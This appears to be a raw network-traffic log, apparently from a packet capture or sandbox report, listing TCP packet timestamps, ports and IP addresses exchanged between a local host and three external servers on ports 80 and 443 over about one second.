Sep 29, 2024 00:53:24.944221020 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944266081 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944348097 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.944348097 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.944360971 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944431067 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.944516897 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944556952 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944722891 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.944729090 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944818020 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.944930077 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.944972038 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.945033073 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.945036888 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.945048094 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.945106030 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946000099 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946042061 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946113110 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946118116 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946168900 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946196079 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946198940 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946223021 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946263075 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946269035 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946290016 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946295023 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946343899 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946489096 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946530104 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946559906 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946564913 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946589947 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946630001 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946696997 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946733952 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946779966 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946784973 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.946806908 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.946878910 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.948663950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948678970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948689938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948738098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.948754072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948760986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948774099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948779106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948802948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.948823929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.948832989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948844910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948856115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948860884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948869944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948879004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948879957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.948894978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.948915958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.995265007 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.995326042 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.995373011 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.995392084 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.995433092 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.995440960 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.007679939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007687092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007692099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007716894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007721901 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007728100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007771969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007777929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007782936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007813931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007819891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007826090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007832050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007898092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007904053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007910967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007915974 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007921934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007927895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.007997990 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.007997990 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.007997990 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008017063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008023024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008028984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008034945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008039951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008044004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008050919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008054972 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008057117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008063078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008070946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008074999 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008083105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008090019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008095980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008109093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008114100 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008156061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008174896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008187056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008193016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008207083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008213043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008218050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008248091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008261919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008268118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008268118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008280993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008286953 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008292913 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008299112 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008306026 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008321047 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008351088 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008435011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008445978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008451939 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008456945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008464098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008470058 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008475065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008480072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008486032 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008486986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008491039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008496046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008502960 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008505106 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008508921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008534908 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008542061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008548021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.008557081 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.008590937 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009243011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009304047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009310007 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009324074 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009330034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009341955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009341955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009347916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009352922 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009403944 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009716988 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009723902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009741068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009768009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009773970 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009779930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009787083 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009812117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009818077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.009824038 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.009857893 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010001898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010054111 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010061979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010066986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010072947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010085106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010119915 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010126114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010126114 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010133028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010185003 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010332108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010338068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010344028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010354996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010373116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010380030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010385990 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010390997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010402918 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010423899 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010488987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010497093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010503054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010550976 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.010552883 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010560036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010565996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010576963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010582924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.010621071 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.022285938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022290945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022386074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022392988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022404909 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022408962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022414923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022422075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022428036 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022433043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022459030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022464037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022469997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022506952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022535086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022535086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022536039 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022536039 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022568941 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022569895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022576094 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022624016 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022881985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022888899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022912025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022922993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022929907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022934914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022942066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.022985935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.022985935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.024079084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024085045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024091005 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024142981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024146080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024152040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024158001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024169922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024174929 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024209976 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024455070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024467945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024473906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024508953 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024528980 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024534941 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024540901 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024548054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024583101 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024588108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024594069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024601936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024616003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024650097 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024729013 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024743080 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024749041 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024754047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024760008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.024772882 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024772882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024777889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024782896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024786949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024794102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024806023 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.024848938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.024852037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024859905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024868011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024873972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024879932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024884939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024890900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024897099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024908066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.024928093 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.024950027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024957895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.024964094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024970055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024981022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.024991035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025002956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025008917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025013924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025015116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025022984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025029898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025029898 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025036097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025042057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025055885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025059938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025060892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025068045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025074005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025079966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025088072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025104046 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025108099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025113106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025120020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025140047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025156021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025163889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025171041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025222063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025222063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025228024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025234938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025254965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025268078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025278091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025284052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025286913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025289059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025296926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025296926 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025333881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025361061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025367022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025373936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025378942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025386095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025398016 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025412083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025441885 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.025499105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025511980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025517941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025522947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025528908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025535107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025547981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.025563002 CEST	49710	80	192.168.2.9	103.130.147.211
